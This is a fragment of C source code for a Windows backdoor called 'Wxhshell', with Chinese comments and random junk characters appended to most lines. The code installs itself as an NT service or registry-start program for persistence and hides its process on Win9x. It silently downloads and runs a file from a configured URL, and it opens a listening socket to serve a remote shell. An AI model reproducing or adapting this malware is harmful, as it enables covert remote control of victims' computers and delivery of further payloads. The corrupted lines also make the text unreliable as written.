ULONG UniqueProcessId; <wfPbzs-V
ULONG InheritedFromUniqueProcessId; T`mG+"O
} PROCESS_BASIC_INFORMATION; RP9 #P&Qk
(u-K^xC
PROCNTQSIP NtQueryInformationProcess; w[YiH $
iH<:wLY&J
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J&CA#Bg:w
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }`ox;Q
Z@2^> eC
HANDLE hProcess; O{R)0&
PROCESS_BASIC_INFORMATION pbi; B5{ wSr
> r1cW7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /'' |bIPa
if(NULL == hInst ) return 0; 4
3V{q
& Xm!i(i
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <'N"GLJ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }$iKz*nx|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?l/VCEZP
lHerEv<ja
if (!NtQueryInformationProcess) return 0; O?L6Ues
1Bp?HyCR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); td JA?
if(!hProcess) return 0; `k2YH?
f8 E,.$>
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iY?J3nxD-:
v+Mi"ZAd
CloseHandle(hProcess); 6l]jmj)/
+ -~8t^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1[p6v4qO{
if(hProcess==NULL) return 0; Nk?eVJ)
(SGX|,5X7
HMODULE hMod; 7IkNS
char procName[255]; !xcLJ5^W
unsigned long cbNeeded; Oxsx\f_
_}+Aw{7!r
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0"}qND
dyWj+N5(
CloseHandle(hProcess); q> |&u
"QSmxr
if(strstr(procName,"services")) return 1; // 以服务启动 " b3-'/&
n x4:n@J
return 0; // 注册表启动 {6Y |Z>
} V3D`pt\[x
u+EZ"p;o
// 主模块 xnP@h
int StartWxhshell(LPSTR lpCmdLine) 3D 4-Wo4
{ (%~^Kmfb0
SOCKET wsl; $ /`X7a{
BOOL val=TRUE; 3fGL(5|_
int port=0; !aQb
Kp
struct sockaddr_in door; AS4mJ UU9
4}4 cA\B:n
if(wscfg.ws_autoins) Install(); tE'^O<
K
#mKF)W
port=atoi(lpCmdLine); sbv2*fno5
OFe-e(c1
if(port<=0) port=wscfg.ws_port; @*e5(@R
=$mPReA3v
WSADATA data; EDAtC
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Op()`x
m
g'cLc5\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %\"<lyD
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); . n[;H;
door.sin_family = AF_INET; bT>MZK8b
door.sin_addr.s_addr = inet_addr("127.0.0.1"); aAKwC01?
door.sin_port = htons(port); 6|uv+$
U}T{r%9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { moS0y?N
closesocket(wsl); QjOO^6Fh
return 1; QL]e<2oPJ
} jQBL8<
H #Hhi<2
if(listen(wsl,2) == INVALID_SOCKET) { FYs]I0}|
closesocket(wsl); 8;Zz25*
return 1; eWWqK9B.-
} ] M`%@ps
Wxhshell(wsl); ylm #Xa
WSACleanup(); 3 C{A
PI\C*_.
return 0; 'VgEf:BS
2OVN9_D%
} j+9;Rvt2
5'\detV_
// 以NT服务方式启动 @eJ6UML"
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w**~k]In
{ 3D;?X@
DWORD status = 0; ) >te|@}o
DWORD specificError = 0xfffffff; j)ME%17
JR_%v=n~x
serviceStatus.dwServiceType = SERVICE_WIN32; !mZDukfjQ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; S86,m=
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `L
LS|S]
serviceStatus.dwWin32ExitCode = 0; \VpN:RI
serviceStatus.dwServiceSpecificExitCode = 0; }7*|s+F(f
serviceStatus.dwCheckPoint = 0; 'B:8tv
serviceStatus.dwWaitHint = 0; )x+P9|
'8Cg2v5&w
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =kTHfdin&
if (hServiceStatusHandle==0) return; qxB|*P`
gLm,;'h%u
status = GetLastError(); x8w l
if (status!=NO_ERROR) 2##;[
{ }W)b
serviceStatus.dwCurrentState = SERVICE_STOPPED; Jxf>!\:AZu
serviceStatus.dwCheckPoint = 0; W_L*S4 ~
serviceStatus.dwWaitHint = 0; w_h{6Kc<
serviceStatus.dwWin32ExitCode = status; cgnMoBIc
serviceStatus.dwServiceSpecificExitCode = specificError; LLc^SP j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3xk_ZK82
return; "1$X5?%
} 0qINa:Ori
EXMW,
serviceStatus.dwCurrentState = SERVICE_RUNNING; !9.k%B:
serviceStatus.dwCheckPoint = 0; QJ&]4*>a
serviceStatus.dwWaitHint = 0;
STl8h}C
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -Ew>3Q
} E.%V0}
AJ+\Qs(0
// 处理NT服务事件,比如:启动、停止 wBDHhXi0
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0!-'4+"
{ ebn3r:IU-
switch(fdwControl) E{0e5. {
{ Qr\eT}
case SERVICE_CONTROL_STOP: +BeA4d8b
serviceStatus.dwWin32ExitCode = 0; DIABR%0
serviceStatus.dwCurrentState = SERVICE_STOPPED; &gJ1*"$9
serviceStatus.dwCheckPoint = 0; B(WmJ6e
serviceStatus.dwWaitHint = 0; ;>uB$8<_7
{ ",l6-<s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Q WNHL
} 7t+d+sQ-l
return; mPU}]1*p
case SERVICE_CONTROL_PAUSE: Zs(BViTb|
serviceStatus.dwCurrentState = SERVICE_PAUSED; IsmZEVuC
break; hraR:l
D
case SERVICE_CONTROL_CONTINUE: eR4ib-nS
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6cd!;Ca
break; ftvu69f
case SERVICE_CONTROL_INTERROGATE: ?wu@+
break; @0]w!q
}; 0C;Js\>3]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 :WN@
} h/oun2C
4#{f8
// 标准应用程序主函数 t{g@z3
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^KdT,^6T
{ fF(AvMsO
(/2rj[F&
// 获取操作系统版本 t{>#)5Pqv
OsIsNt=GetOsVer(); \6 1H(,
GetModuleFileName(NULL,ExeFile,MAX_PATH); )!kt9lK
tA^+RO4
// 从命令行安装 X{Fr
if(strpbrk(lpCmdLine,"iI")) Install(); o{>4PZ}=g
X1d{7H8A2
// 下载执行文件 5kGQf
if(wscfg.ws_downexe) { w[F})u]E
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v-N4&9)%9
WinExec(wscfg.ws_filenam,SW_HIDE); O}%ES AB
} s>:gL,%c
/Yb8= eM
if(!OsIsNt) { <jh7G
// 如果时win9x,隐藏进程并且设置为注册表启动 0Ix,c( %
HideProc(); :8(jhs
StartWxhshell(lpCmdLine); KTt+}-vP^
}
&a4FGzR#
else #q K.AZi
if(StartFromService()) IqV" 4
// 以服务方式启动 Ux1j +}y
StartServiceCtrlDispatcher(DispatchTable); -8l(eDm"m
else q_6lD~~q^
// 普通方式启动 sZ~03QvkT
StartWxhshell(lpCmdLine); |||m5(`S
^mjU3q{;
return 0; )sW!s3>S>
}